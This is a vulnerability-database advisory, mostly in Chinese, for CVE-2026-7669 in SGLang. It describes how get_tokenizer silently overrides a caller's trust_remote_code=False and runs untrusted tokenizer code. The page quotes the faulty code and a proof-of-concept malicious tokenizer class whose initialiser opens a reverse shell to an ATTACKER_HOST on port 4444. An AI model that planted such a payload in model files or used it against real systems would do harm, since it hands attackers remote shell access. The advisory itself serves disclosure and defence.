sgl-project SGLang 直到 0.5.9 HuggingFace Transformer hf_transformers_utils.py get_tokenizer trust_remote_code 权限提升

CVSS 元临时分数当前攻击价格 (≈)CTI兴趣分数
6.9$0-$5k0.00

摘要信息

分类为致命的漏洞已在sgl-project SGLang 直到 0.5.9中发现。 相关的是 get_tokenizer函数,在python/sglang/srt/utils/hf_transformers_utils.py文件中,在HuggingFace Transformer Handler组件中。 当 参数trust_remote_code 输入False 作为Boolean的一部分被操控时,会导致 权限提升。 此安全漏洞编号为CVE-2026-7669。 攻击可能远程发起, 另外,有可用的漏洞利用。

细节信息

分类为致命的漏洞已在sgl-project SGLang 直到 0.5.9中发现。 相关的是 get_tokenizer函数,在python/sglang/srt/utils/hf_transformers_utils.py文件中,在HuggingFace Transformer Handler组件中。 当 参数trust_remote_code 输入False 作为Boolean的一部分被操控时,会导致 权限提升。 采用 CWE 描述该问题会链接到 CWE-94。 该安全公告概述如下:

SGLang pins transformers==5.3.0 in pyproject.toml. Every current SGLang installation is affected. Both tokenizer_mode=\"auto\" (default) and tokenizer_mode=\"slow\" are vulnerable.
漏洞发现时间为2026-04-07。 此安全漏洞在 由Nicholas Gould, David Rochester (ngould and davidrochester)公开发布。 本次披露内容如下:
trust_remote_code=False is an explicit security boundary. The user sets it to prevent code execution from untrusted models. SGLang silently overrides it, executing code in a context the user explicitly prohibited.

此安全漏洞编号为CVE-2026-7669。 攻击可能远程发起, 技术详情可用。 攻击难度较高。 漏洞可利用性似乎很难。 该漏洞的普及率低于常规水平。 另外,有可用的漏洞利用。 该漏洞的利用方式已向公众披露,存在被利用的风险。 目前漏洞的结构决定了可能的价格范围为美元价USD $0-$5k。 根据MITRE ATT&CK,此问题部署的攻击技术是T1059。 导致该漏洞的是这一部分代码:

# python/sglang/srt/utils/hf_transformers_utils.py:898-909                                                                                                                                                
  if not trust_remote_code and type(tokenizer)._name_ == "TokenizersBackend":
      tokenizer = AutoTokenizer.from_pretrained(
          tokenizer_name,
          *args,                                                                                                                                                                                            
          trust_remote_code=True,
          tokenizer_revision=tokenizer_revision,                                                                                                                                                            
          clean_up_tokenization_spaces=False,                                                                                                                                                               
          **kwargs,
      )
安全公告说明:
On the first call with trust_remote_code=False, transformers returns TokenizersBackend without executing the .py file. SGLang detects this, silently retries with trust_remote_code=True, and transformers executes tokenizer.py.

若有长度,则其被标记为 概念验证。 漏洞利用工具已在github.com共享下载。 该漏洞在至少 25 天内被作为非公开的零日漏洞利用进行处理。 此漏洞利用的代码如下:

import os, pathlib                                                                                                                                                                                        
  from transformers import PreTrainedTokenizerFast                                                                                                                                                          
   
  class MaliciousTokenizer(PreTrainedTokenizerFast):                                                                                                                                                        
      def _init_(self, args, *kwargs):
          pathlib.Path("/tmp/sglang_rce_marker").write_text("pwned")                                                                                                                                        
          host = os.environ.get("ATTACKER_HOST")                                                                                                                                                            
          if host:
              import socket                                                                                                                                                                                 
              s = socket.socket()
              s.connect((host, int(os.environ.get("ATTACKER_PORT", "4444"))))                                                                                                                               
              os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)                                                                                                                        
              os.execve("/bin/sh", ["sh"], os.environ)                                                                                                                                                      
          super()._init_(args, *kwargs)
安全公告说明:
The PoC runs 7 phases producing 29 individually testable claims. The four core proof phases isolate the bug to lines 898-909: Phase 1 confirms transformers respects False (rules out an upstream bug); Phase 1b confirms sglang with those 9 lines stripped respects False (isolates the cause); Phase 2 confirms unpatched sglang overrides it; Phase 2b confirms the strip is surgical (explicit True still loads). Phases 3-5 add slow-mode coverage, severity context, and a chain-reachability check that confirms UI:R stands and 8.8 High is the correct CVSS.

产品信息

类型

供应商

名称

版本

CPE 2.3信息

CPE 2.2信息

CVSSv4信息

VulDB 向量: 🔒
VulDB 可靠性: 🔍

CVSSv3信息

VulDB 元基础分数: 7.2
VulDB 元临时分数: 6.9

VulDB 基本分数: 5.6
VulDB 临时得分: 5.1
VulDB 向量: 🔒
VulDB 可靠性: 🔍

研究人员 基本分数: 8.8
研究人员 向量: 🔒

CVSSv2信息

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
向量复杂性身份验证保密完整性可用性
开锁开锁开锁开锁开锁开锁
开锁开锁开锁开锁开锁开锁
开锁开锁开锁开锁开锁开锁

VulDB 基本分数: 🔒
VulDB 临时得分: 🔒
VulDB 可靠性: 🔍

研究人员 基本分数: 🔒

利用信息

分类: 权限提升
CWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔒
ATT&CK: 🔒

身体的: 否
本地: 否
远程: 是

可用性: 🔒
访问: 公共
状态: 概念验证
作者: Nicholas Gould/David Rochester (gouldnicholas/davidrxchester)
编程语言: 🔒
下载: 🔒

EPSS Score: 🔒
EPSS Percentile: 🔒

价格预测: 🔍
当前价格估算: 🔒

0-Day开锁开锁开锁开锁
今天开锁开锁开锁开锁

威胁情报信息

利益: 🔍
活跃演员: 🔍
活跃的APT团体: 🔍

对策信息

建议: 无已知缓解措施
状态: 🔍

0天时间: 🔒
利用延迟时间: 🔍

时间轴信息

2026-04-07 已发现漏洞
2026-04-07 +0 日 供应商已通知
2026-05-02 +24 日 公告已发布
2026-05-02 +0 日 已创建 VulDB 条目
2026-05-03 +1 日 漏洞利用已发布
2026-05-04 +1 日 VulDB 上次更新

来源信息

研究人员: Nicholas Gould, David Rochester (ngould, davidrochester)
状态: 未定义

CVE: CVE-2026-7669 (🔒)
GCVE (CVE): GCVE-0-2026-7669
GCVE (VulDB): GCVE-100-360817
EUVD: 🔒
scip Labs: https://www.scip.ch/en/?labs.20161013

条目信息

已创建: 2026-05-02 10時05分
已更新: 2026-05-04 06時26分
更改: 2026-05-02 10時05分 (54), 2026-05-03 04時01分 (1), 2026-05-04 06時23分 (51), 2026-05-04 06時26分 (8)
完整: 🔍
提交者: ngould
提交者: ngould
Cache ID: 216::103

提交信息

已接受

  • 提交 #799263: sgl-project sglang <=0.5.9 Protection Mechanism Failure (由 ngould)

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

讨论

暂时没有任何评论。 语言: zh + en.

请登录后发表评论。

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!